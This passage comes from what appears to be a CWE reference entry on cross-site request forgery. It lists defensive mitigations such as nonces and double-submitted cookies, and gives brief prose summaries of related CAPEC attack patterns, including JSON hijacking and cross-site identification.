Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.